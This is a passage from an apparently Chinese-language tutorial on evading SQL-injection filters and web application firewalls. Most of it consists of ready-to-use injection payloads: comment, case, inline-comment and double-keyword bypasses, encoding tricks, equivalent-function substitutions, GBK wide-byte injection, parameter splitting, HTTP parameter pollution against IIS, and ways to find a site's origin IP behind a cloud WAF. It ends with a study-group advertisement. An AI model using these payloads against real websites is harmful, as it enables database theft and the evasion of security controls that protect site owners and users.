此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:
between a and b:返回a,b之间的数据,不包含b。
6.or and xor not绕过
and=&& or=|| xor=| not=!
7.绕过注释符号(#,–(后面跟一个空格))过滤
id=1’ union select 1,2,3||'1
最后的or '1闭合查询语句的最后的单引号,或者:
id=1’ union select 1,2,'3
8.=绕过
使用like 、rlike 、regexp 或者 使用< 或者 >
9.绕过union,select,where等
(1)使用注释符绕过
常用注释符:
//,-- , /**/, #, --+, – -, ;,%00,–a
用法:
U// NION // SE// LECT //user,pwd from user
(2)使用大小写绕过
id=-1’UnIoN/**/SeLeCT
(3)内联注释绕过
id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)
id=-1’UNIunionONSeLselectECT1,2,3–-
10.通用绕过(编码)
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
11.等价函数绕过
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
12.宽字节注入
过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
id=-1%df%27union select 1,user(),3–+
(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \ ’ " \x1a
(防御,将mysql设置为gbk即可)
13.多参数请求拆分
对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入。
例如请求URL时,GET参数格式如下:
a=[input1]&b=[input2]
将GET的参数a和参数b拼接到SQL语句中,SQL语句如下所示。
and a=[input1] and b=[input2]
这时就可以将注入语句进行拆分,如下所示:
a=union/&b=/select 1,2,3,4
最终将参数a和参数b拼接,得到的SQL语句如下所示:
and a=union /and b=/select 1,2,3,4
14.HTTP参数污染
HTTP参数污染是指当同一个参数出现多次,不同的中间件会解析为不同的结果。具体如下图所示:(以参数color=red&color=blue为例)。
可见,IIS比较容易利用,可以直接分割带逗号的SQL语句。在其余的中间件中,如果WAF只检测了通参数名中的第一个或最后一个,并且中间件的特性正好取与WAF相反的参数,则可成功绕过。下面以IIS为例,一般的SQL注入语句如下所示:
Inject=union select 1,2,3,4
将SQL注入语句转换为以下格式。
Inject=union/&inject=/select/&inject=/1&inject=2&inject=3&inject=4
最终在IIS中读取的参数值将如下所示
Inject=union/*, /select/, */1,2,3,4
15.生僻函数
使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数替换常用的updatexml()函数
select polygon((select * from (select * from (select @@version) f) x));
16.寻找网站源IP
对于具有云WAF防护的网站,只要找到网站的IP地址,通过IP访问网站,就可以绕过云WAF检测。
常见的寻找网站IP的方法由以下几种
-
寻找网站的历史解析记录
-
多个不同区域ping网站,查看IP解析的结果
-
找网站的二级域名、NS、MX记录等对应的IP
-
订阅网站邮件,查看邮件发送方的IP
17.注入参数到cookie中
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!